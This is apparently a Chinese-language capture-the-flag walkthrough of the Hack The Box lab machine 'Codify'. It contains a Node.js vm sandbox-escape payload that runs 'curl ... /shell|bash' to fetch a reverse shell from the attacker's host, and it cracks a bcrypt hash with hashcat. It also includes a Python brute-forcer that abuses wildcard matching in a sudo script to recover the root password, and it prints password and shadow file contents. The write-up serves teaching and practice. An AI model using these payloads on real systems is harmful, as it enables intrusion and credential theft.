Codify
2023年11月7日 20:59:48
user
nmap
➜ Codify nmap -A 10.10.11.239
Starting Nmap 7.80 ( https://nmap.org ) at 2023-11-07 21:00 CST
Nmap scan report for bogon (10.10.11.239)
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
开放3端口,80跳转到 codify.htb,3000 端口是 Node.js
修改hosts文件指向
80-web
看上去是一个可以在线运行nodejs代码的web服务
直接使用child_process 会被waf拦着,尝试bypass
bypass
Refer:https://xz.aliyun.com/t/7184 vm沙箱逃逸
https://xz.aliyun.com/t/7184
Reverse shell
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('curl 10.10.16.45/shell|bash').toString()`);
console.log(env);
svc@codify:~$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
把db文件下载到本地,读取后,发现了密码
hashcat
joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
➜ Codify hashcat -m 3200 -a 0 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --show
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
尝试用这个密码ssh登录,成功拿到 userflag
root
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
joshua@codify:~$ cat mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
这个脚本的逻辑是判断输入的密码和 预订的密码一不一样
但是这里判断在 shell语言中是可以使用通配符 * 的
比如密码是 abc123456
a* 会匹配成功 ,b*会失败
ab* 会成功,ac* 会失败
依次这样匹配
brute.py
joshua@codify:~$ cat brute.py
import string
import subprocess
all_characters_and_numbers = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters_and_numbers:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True
这个脚本的逻辑就是通过通配符一直匹配密码,直到最后没有匹配的了,那么就退出
有点像nosql 注入
root: kljh12k3jhaskjh12kjh3
root@codify:~# cat /etc/shadow | grep '$y'
root:$y$j9T$BBviiq1eNRUe8DLwu.mU61$WSfwzensYi9zIITP5VaFmA6wmTOza/5hbDf0jvo1ZS0:19507:0:99999:7:::
joshua:$y$j9T$u5RmR.i3n0eWNlz3TzNwW1$70opNAIyjWmEs5kR5suhb9xTavS294cdqpt3jB2T.H6:19507:0:99999:7:::
svc:$y$j9T$g22oO8nqTahqa94dBOVRu1$2xgi2cpPO/EWoP4EMFxhhLBwpCWASWaZTap9YtxqkV.:19612:0:99999:7:::
或者使用pspy 查看进程信息
输入密码 *
可以直接看到密码
sumary
总体来说比较简单,web 通过简单的bypass 拿到shell,搜索相关信息,拿到joshua 用户的凭据
root 还算有意思